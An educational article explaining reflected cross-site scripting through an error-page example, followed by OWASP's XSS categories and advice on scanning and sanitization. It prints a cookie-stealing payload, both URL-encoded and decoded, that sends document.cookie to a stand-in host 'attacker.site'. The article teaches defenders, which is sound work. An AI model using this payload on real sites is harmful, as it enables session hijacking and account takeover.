Creating a Cross-site Scripting (XSS) Attack. Understanding How XSS Attacks Work & Identifying Web Vulnerabilities

Article Reads:15011

Part two of our Cross-site scripting (XSS) series shows how easy it is to create & execute a XSS attack, helping readers & network security engineers understand how XSS attacks work and how to identify web application vulnerabilities. Part one explained the concept of XSS attackss while also analyzing the different type of XSS attacks.

XSS exploits can be incredibly simple. The simplest attack grabs the user’s cookie contents and sends it to another server. When this happens, the attacker can extrapolate the user’s session information from what he receives, spoof his cookies to appear as if he is the victimized user, and gain unauthorized access to that user’s account. Obviously, if the user is privileged, like a moderator or administrator, this can have serious ramifications.

As an example, think of an error message page where the message itself is part of the website address (known as a Uniform Resource Identifier, or URI), and is directly presented to the user. For this example, say that web page acts as follows:

Request URI: /error.page?message=404 Error – Content Not Found

1. <html><head><title>Error</title></head><body>

2. An error occurred:<br />

3. 404 Error – Content Not Found

4. </body></html>

In line 3, you can see the idea behind the page: the error message provided via the query string variable message is printed to the user. If this URI does not sanitize anything, namely such as stripping HTML tags out, an attacker can inject anything.

They can also mask that inject a little by substituting values with URL encoded values. If they wanted to steal cookies off a user using this error page, they could do so as follows:

Request URI: /error.page?message= %3Cscript%3Evar+i%3Dnew+Image%28%29%3Bi.src%3D%22http%3A//attacker.site/cookie%3Fvalue%3D%22+document.cookie%3B%3C/script%3E

1. <html><head><title>Error</title></head><body>

2. An error occurred:<br />

3. <script>var i=new Image();i.src="http://attacker.site/cookie?value="+document.cookie;</script>

4. </body></html>

First, notice the oddity of the message in the URL. Those two-character values prefixed with a percent sign (%) are hexadecimal numbers representing each character: %3C for <, %3D for =, and so forth. This is a mild form of obfuscation, allowing the browser to understand the string while confusing the user reading it.

In line 3, you can see that the browser properly understood the string and evaluated it into some JavaScript. In this particular example, the attacker has a script on his server that captures user cookie data by tricking the browser into loading that page as an image object. That object passes along the user’s cookie contents for the website to the attacker. That attacker now has the victim’s IP address, cookie data, and more, and can use this information to gain unauthorized access to the victimized user’s account, or worse, to more privileged areas of the website if the victimized user account had elevated rights.

Different Kinds Of XSS Vulnerabilities

This is also only one example of the various kinds of XSS attacks that can be executed. XSS attacks fall into three general categories as defined by OWASP: Stored, Persistent XSS, Reflected, and DOM-based XSS. Stored XSS attacks, as their name implies, are stored unsanitized in the website (such as in a database entry) and rendered on page-load (this is how the Samy worm operated). Reflected XSS attacks are usually more common, often a result of data within an unsanitized URI string that is rendered by the website’s frontend code (such as in the example above). The final type, DOM-based, exploits the Document Object Model environment similar to a reflected XSS attack, but by altering the page’s elements dynamically.

Identifying XSS Vulnerabilities In Your Web Applications

There is no real catchall that can prevent all XSS exploits due to the highly dynamic nature of their existence and the complexities of new libraries and frameworks like jQuery and Bootstrap. However, a good place to start is with a web application security scanner, which searches for these kinds of exploits and more automatically, and provides suggestions on how to fix the identified XSS vulnerabilities. Sanitization is critical anywhere data is received by a website (like user input, query strings, POST form data, etc.), and a good security scanner can show you where sanitization is missing.